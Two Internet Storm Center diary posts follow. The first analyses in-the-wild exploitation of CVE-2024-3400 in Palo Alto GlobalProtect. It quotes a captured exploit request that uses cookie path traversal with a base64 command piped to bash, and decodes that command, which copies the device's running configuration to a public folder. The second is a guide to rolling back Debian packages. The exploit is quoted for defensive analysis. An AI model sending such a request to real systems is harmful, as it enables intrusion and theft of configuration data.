Palo Alto Networks GlobalProtect exploit public and widely exploited CVE-2024-3400

    Published: 2024-04-16
    Last Updated: 2024-04-16 21:14:12 UTC
    by Johannes Ullrich (Version: 1)
    0 comment(s)

    The Palo Alto Networks vulnerability has been analyzed in depth by various sources and exploits [1]. 

    We have gotten several reports of exploits being attempted against GlobalProtect installs. In addition, we see scans for the GlobalProtect login page, but these scans predated the exploit. VPN gateways have always been the target of exploits like brute forcing or credential stuffing attacks.

    GET /global-protect/login.esp HTTP/1.1
    Host: [redacted]
    User-Agent: python-requests/2.25.1
    Accept-Encoding: gzip, deflate
    Accept: /
    Connection: keep-alive
    Cookie: SESSID=.././.././.././.././.././.././.././.././../opt/panlogs/tmp/device_telemetry/minute/'}|{echo,Y3AgL29wdC9wYW5jZmcvbWdtdC9zYXZlZC1jb25maWdzL3J1bm5pbmctY29uZmlnLnhtbCAvdmFyL2FwcHdlYi9zc2x2cG5kb2NzL2dsb2JhbC1wcm90ZWN0L2Rrc2hka2Vpc3NpZGpleXVrZGwuY3Nz}|{base64,-d}|bash|{'

    The exploit does exploit a path traversal vulnerability. The session ID ("SESSID" cookie) creates a file. This vulnerability can create a file in a telemetry directory, and the content will be executed (see the Watchtwr blog for more details).

    In this case, the code decoded to:

    cp /opt/pancfg/mgmt/saved-configs/running-config.xml /var/appweb/sslvpndocs/global-protect/dkshdkeissidjeyukdl.css

    Which will make the "running-config.xml" available for download without authentication. You may want to check the "/var/appweb/sslvpndocs/global-protect/" folder for similar files. I modified the random file name in case it was specific to the target from which we received this example.

    One IP address that stuck out for aggressive scans for URLs containing "global-protect" in recent days was 91.92.249.130.  This IP address scanned for "/global-protect/login.esp" since at least a month ago. It also scanned for various other perimeter gateways. The IP appears to be used by a US company (Limenet) but is assigned to a server located in Amsterdam, NL.

     

     

    [1] https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
     

    ---
    Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
    Twitter|

    Keywords:
    0 comment(s)

    Rolling Back Packages on Ubuntu/Debian

    Published: 2024-04-16
    Last Updated: 2024-04-16 09:28:11 UTC
    by Yee Ching Tok (Version: 1)
    0 comment(s)

    Package updates/upgrades by maintainers on the Linux platforms are always appreciated, as these updates are intended to offer new features/bug fixes. However, in rare circumstances, there is a need to downgrade the packages to a prior version due to unintended bugs or potential security issues, such as the recent xz-utils backdoor. Consistently backing up your data before significant updates is one good countermeasure against grief. However, what if one was not diligently practicing such measures and urgently needed to simply roll back to a prior version of the said package? I was recently put in this unenviable position when configuring one of my systems, and somehow, the latest version of Proton VPN (version 4.3.0) would not work and displayed the following output after I executed it:
     

    Traceback (most recent call last):
      File "/usr/bin/protonvpn-app", line 33, in <module>
        sys.exit(load_entry_point('proton-vpn-gtk-app==4.3.0', 'console_scripts', 'protonvpn-app')())
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      File "/usr/bin/protonvpn-app", line 25, in importlib_load_entry_point
        return next(matches).load()
               ^^^^^^^^^^^^^^^^^^^^
      File "/usr/lib/python3.11/importlib/metadata/__init__.py", line 202, in load
        module = import_module(match.group('module'))
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      File "/usr/lib/python3.11/importlib/__init__.py", line 126, in import_module
        return _bootstrap._gcd_import(name[level:], package, level)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      File "<frozen importlib._bootstrap>", line 1204, in _gcd_import
      File "<frozen importlib._bootstrap>", line 1176, in _find_and_load
      File "<frozen importlib._bootstrap>", line 1147, in _find_and_load_unlocked
      File "<frozen importlib._bootstrap>", line 690, in _load_unlocked
      File "<frozen importlib._bootstrap_external>", line 940, in exec_module
      File "<frozen importlib._bootstrap>", line 241, in _call_with_frames_removed
      File "/usr/lib/python3/dist-packages/proton/vpn/app/gtk/__main__.py", line 25, in <module>
        from proton.vpn.app.gtk.app import App
      File "/usr/lib/python3/dist-packages/proton/vpn/app/gtk/app.py", line 28, in <module>
        from proton.vpn.app.gtk.controller import Controller
      File "/usr/lib/python3/dist-packages/proton/vpn/app/gtk/controller.py", line 29, in <module>
        from proton.vpn.core.api import ProtonVPNAPI, VPNAccount
      File "/usr/lib/python3/dist-packages/proton/vpn/core/api.py", line 33, in <module>
        from proton.vpn.core.usage import UsageReporting, usage_reporting
      File "/usr/lib/python3/dist-packages/proton/vpn/core/usage.py", line 19, in <module>
        import sentry_sdk
      File "/usr/lib/python3/dist-packages/sentry_sdk/__init__.py", line 1, in <module>
        from sentry_sdk.hub import Hub, init
      File "/usr/lib/python3/dist-packages/sentry_sdk/hub.py", line 8, in <module>
        from sentry_sdk.scope import Scope
      File "/usr/lib/python3/dist-packages/sentry_sdk/scope.py", line 7, in <module>
        from sentry_sdk.attachments import Attachment
      File "/usr/lib/python3/dist-packages/sentry_sdk/attachments.py", line 5, in <module>
        from sentry_sdk.envelope import Item, PayloadRef
      File "/usr/lib/python3/dist-packages/sentry_sdk/envelope.py", line 7, in <module>
        from sentry_sdk.session import Session
      File "/usr/lib/python3/dist-packages/sentry_sdk/session.py", line 5, in <module>
        from sentry_sdk.utils import format_timestamp
      File "/usr/lib/python3/dist-packages/sentry_sdk/utils.py", line 1305, in <module>
        HAS_REAL_CONTEXTVARS, ContextVar = _get_contextvars()
                                           ^^^^^^^^^^^^^^^^^^
      File "/usr/lib/python3/dist-packages/sentry_sdk/utils.py", line 1275, in _get_contextvars
        if not _is_contextvars_broken():
               ^^^^^^^^^^^^^^^^^^^^^^^^
      File "/usr/lib/python3/dist-packages/sentry_sdk/utils.py", line 1228, in _is_contextvars_broken
        from eventlet.patcher import is_monkey_patched  # type: ignore
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      File "/usr/lib/python3/dist-packages/eventlet/__init__.py", line 6, in <module>
        from eventlet import convenience
      File "/usr/lib/python3/dist-packages/eventlet/convenience.py", line 7, in <module>
        from eventlet.green import socket
      File "/usr/lib/python3/dist-packages/eventlet/green/socket.py", line 21, in <module>
        from eventlet.support import greendns
      File "/usr/lib/python3/dist-packages/eventlet/support/greendns.py", line 78, in <module>
        setattr(dns, pkg, import_patched('dns.' + pkg))
                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      File "/usr/lib/python3/dist-packages/eventlet/support/greendns.py", line 60, in import_patched
        return patcher.import_patched(module_name, **modules)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      File "/usr/lib/python3/dist-packages/eventlet/patcher.py", line 132, in import_patched
        return inject(
               ^^^^^^^
      File "/usr/lib/python3/dist-packages/eventlet/patcher.py", line 109, in inject
        module = __import__(module_name, {}, {}, module_name.split('.')[:-1])
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      File "/usr/lib/python3/dist-packages/dns/asyncquery.py", line 32, in <module>
        import dns.quic
      File "/usr/lib/python3/dist-packages/dns/quic/__init__.py", line 37, in <module>
        import trio
      File "/usr/lib/python3/dist-packages/trio/__init__.py", line 22, in <module>
        from ._core import TASK_STATUS_IGNORED as TASK_STATUS_IGNORED  # isort: split
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      File "/usr/lib/python3/dist-packages/trio/_core/__init__.py", line 21, in <module>
        from ._local import RunVar, RunVarToken
      File "/usr/lib/python3/dist-packages/trio/_core/_local.py", line 9, in <module>
        from . import _run
      File "/usr/lib/python3/dist-packages/trio/_core/_run.py", line 2787, in <module>
        from ._io_epoll import (
      File "/usr/lib/python3/dist-packages/trio/_core/_io_epoll.py", line 202, in <module>
        class EpollIOManager:
      File "/usr/lib/python3/dist-packages/trio/_core/_io_epoll.py", line 203, in EpollIOManager
        _epoll: select.epoll = attr.ib(factory=select.epoll)
                                               ^^^^^^^^^^^^
    AttributeError: module 'eventlet.green.select' has no attribute 'epoll'

    I had to get the VPN working, and I felt that rolling back to a known good version was the quickest way. After thinking hard and with some consulting on online documentation, I managed to rollback to the previous version (4.2.0). I will share the steps I took below.

    1. Check your dpkg.log for the dates and packages that were upgraded

    cat /var/log/dpkg.log


    2. After determining the date range, shorten the log file to double check the entries and uncover the old and new version numbers of the affected packages [in this example, the date used is 2024-04-15 (YYYY-MM-DD) in the first field of dpkg.log, and upgrade is used in the third field of the dpkg.log]

    awk '$1=="2024-04-15" && $3=="upgrade"' /var/log/dpkg.log


    3. Determine if the cached package files are still on disk (hopefully sudo apt autoclean was not executed!)

    awk '$1=="2024-04-15" && $3=="upgrade" {gsub(/:/, "%3a", $5); split($4, f, ":"); print "/var/cache/apt/archives/" f[1] "_" $5 "_" f[2] ".deb"}' /var/log/dpkg.log | xargs -r ls -ld


    4. I still had my cached files (thankfully!). I ran the following command to force install the older package files:

    sudo dpkg -i /var/cache/apt/archives/proton-vpn-gtk-app_4.2.0_all.deb /var/cache/apt/archives/python3-proton-keyring-linux-secretservice_0.0.1_all.deb /var/cache/apt/archives/python3-proton-keyring-linux_0.0.1_all.deb /var/cache/apt/archives/python3-proton-vpn-api-core_0.21.0_all.deb /var/cache/apt/archives/python3-proton-vpn-connection_0.14.2_all.deb /var/cache/apt/archives/python3-proton-vpn-network-manager-openvpn_0.0.4_all.deb /var/cache/apt/archives/python3-proton-vpn-network-manager_0.4.0_all.deb /var/cache/apt/archives/python3-proton-vpn-session_0.6.5_all.deb


    After the install process was completed, I rebooted the machine and was glad to have ProtonVPN working again. Admittedly, it does not solve the mystery why version 4.3.0 could not work on Debian, but at least I can have connectivity and do work.

    -----------
    Yee Ching Tok, Ph.D., ISC Handler
    Personal Site
    Mastodon
    Twitter

    0 comment(s)
    ISC Stormcast For Tuesday, April 16th, 2024 https://isc.sans.edu/podcastdetail/8940

      Comments


      Diary Archives